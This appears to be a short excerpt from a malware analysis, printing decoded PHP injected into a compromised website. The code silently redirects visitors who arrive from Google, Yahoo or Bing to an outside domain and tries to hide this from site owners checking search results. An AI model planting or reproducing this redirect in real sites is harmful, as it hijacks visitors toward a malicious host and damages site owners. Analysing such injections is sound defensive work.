Decoded as follows
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing")) {
if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://fghhghfs6fg.osa.pl/");
exit();
}
}
}